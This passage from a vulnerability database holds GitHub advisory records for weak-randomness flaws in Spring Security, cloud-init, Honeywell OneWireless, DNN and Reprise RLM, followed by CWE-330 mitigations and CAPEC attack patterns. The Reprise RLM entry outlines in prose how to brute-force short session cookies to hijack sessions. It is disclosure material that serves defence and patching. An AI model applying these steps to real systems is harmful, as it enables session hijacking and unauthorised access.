"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.1.0"
},
{
"fixed": "5.1.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.security:spring-security-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-5408"
],
"database_specific": {
"cwe_ids": [
"CWE-329",
"CWE-330"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-11T20:44:52Z",
"nvd_published_at": "2020-05-14T18:15:00Z",
"severity": "MODERATE"
},
"details": "Spring Security versions 5.3.x prior to 5.3.2, 5.2.x prior to 5.2.4, 5.1.x prior to 5.1.10, 5.0.x prior to 5.0.16 and 4.2.x prior to 4.2.16 use a fixed null initialization vector with CBC Mode in the implementation of the queryable text encryptor. A malicious user with access to the data that has been encrypted using such an encryptor may be able to derive the unencrypted values using a dictionary attack.",
"id": "GHSA-2ppp-9496-p23q",
"modified": "2021-06-09T20:15:25Z",
"published": "2020-06-15T19:34:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5408"
},
{
"type": "WEB",
"url": "https://tanzu.vmware.com/security/cve-2020-5408"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Insufficient Entropy in Spring Security"
}
GHSA-2R47-HHFF-7QCP
Vulnerability from github – Published: 2022-05-24 17:08 – Updated: 2022-05-24 17:08cloud-init through 19.4 relies on Mersenne Twister for a random password, which makes it easier for attackers to predict passwords, because rand_str in cloudinit/util.py calls the random.choice function.
{
"affected": [],
"aliases": [
"CVE-2020-8631"
],
"database_specific": {
"cwe_ids": [
"CWE-330"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-05T14:15:00Z",
"severity": "LOW"
},
"details": "cloud-init through 19.4 relies on Mersenne Twister for a random password, which makes it easier for attackers to predict passwords, because rand_str in cloudinit/util.py calls the random.choice function.",
"id": "GHSA-2r47-hhff-7qcp",
"modified": "2022-05-24T17:08:06Z",
"published": "2022-05-24T17:08:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8631"
},
{
"type": "WEB",
"url": "https://github.com/canonical/cloud-init/pull/204"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/ubuntu/+source/cloud-init/+bug/1860795"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00021.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00042.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2RF3-2PV4-82GX
Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2024-04-04 05:47Use of Insufficiently Random Values in Honeywell OneWireless. This vulnerability may allow attacker to manipulate claims in client's JWT token. This issue affects OneWireless version 322.1
{
"affected": [],
"aliases": [
"CVE-2022-43485"
],
"database_specific": {
"cwe_ids": [
"CWE-330"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-30T17:15:09Z",
"severity": "MODERATE"
},
"details": "\nUse of Insufficiently Random Values in Honeywell OneWireless. This vulnerability\u00a0may allow attacker to manipulate claims in client\u0027s JWT token.\u00a0This issue affects OneWireless version 322.1",
"id": "GHSA-2rf3-2pv4-82gx",
"modified": "2024-04-04T05:47:49Z",
"published": "2023-07-06T21:15:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43485"
},
{
"type": "WEB",
"url": "https://process.honeywell.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2RHW-GW3F-477J
Vulnerability from github – Published: 2026-04-10 21:07 – Updated: 2026-04-24 20:50DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. All new installations of DNN 10.x.x - 10.2.1 have the same Host GUID. This does not affect upgrades from 9.x.x. Version 10.2.2 patches the issue.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "DotNetNuke.Core"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40306"
],
"database_specific": {
"cwe_ids": [
"CWE-330"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T21:07:13Z",
"nvd_published_at": "2026-04-17T22:16:32Z",
"severity": "MODERATE"
},
"details": "DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. All new installations of DNN 10.x.x - 10.2.1 have the same Host GUID. This does not affect upgrades from 9.x.x. Version 10.2.2 patches the issue.",
"id": "GHSA-2rhw-gw3f-477j",
"modified": "2026-04-24T20:50:16Z",
"published": "2026-04-10T21:07:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-2rhw-gw3f-477j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40306"
},
{
"type": "PACKAGE",
"url": "https://github.com/dnnsoftware/Dnn.Platform"
},
{
"type": "WEB",
"url": "https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v10.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "DNN: Same HostGUID for all new installs"
}
GHSA-2X2V-CCF2-CQCF
Vulnerability from github – Published: 2021-12-14 00:01 – Updated: 2023-04-20 18:30An issue was discovered in Reprise RLM 14.2. As the session cookies are small, an attacker can hijack any existing sessions by bruteforcing the 4 hex-character session cookie on the Windows version (the Linux version appears to have 8 characters). An attacker can obtain the static part of the cookie (cookie name) by first making a request to any page on the application (e.g., /goforms/menu) and saving the name of the cookie sent with the response. The attacker can then use the name of the cookie and try to request that same page, setting a random value for the cookie. If any user has an active session, the page should return with the authorized content, when a valid cookie value is hit.
{
"affected": [],
"aliases": [
"CVE-2021-44151"
],
"database_specific": {
"cwe_ids": [
"CWE-330",
"CWE-384"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-13T04:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Reprise RLM 14.2. As the session cookies are small, an attacker can hijack any existing sessions by bruteforcing the 4 hex-character session cookie on the Windows version (the Linux version appears to have 8 characters). An attacker can obtain the static part of the cookie (cookie name) by first making a request to any page on the application (e.g., /goforms/menu) and saving the name of the cookie sent with the response. The attacker can then use the name of the cookie and try to request that same page, setting a random value for the cookie. If any user has an active session, the page should return with the authorized content, when a valid cookie value is hit.",
"id": "GHSA-2x2v-ccf2-cqcf",
"modified": "2023-04-20T18:30:49Z",
"published": "2021-12-14T00:01:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44151"
},
{
"type": "WEB",
"url": "https://reprisesoftware.com/admin/rlm-admin-download.php?\u0026euagree=yes"
},
{
"type": "WEB",
"url": "https://www.reprisesoftware.com/RELEASE_NOTES"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/165191/Reprise-License-Manager-14.2-Session-Hijacking.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.
- In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.
- Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.
Mitigation
Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.
Mitigation MIT-2
Strategy: Libraries or Frameworks
Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").
CAPEC-112: Brute Force
In this attack, some asset (information, functionality, identity, etc.) is protected by a finite secret value. The attacker attempts to gain access to this asset by using trial-and-error to exhaustively explore all the possible secret values in the hope of finding the secret (or a value that is functionally equivalent) that will unlock the asset.
CAPEC-485: Signature Spoofing by Key Recreation
An attacker obtains an authoritative or reputable signer's private signature key by exploiting a cryptographic weakness in the signature algorithm or pseudorandom number generation and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.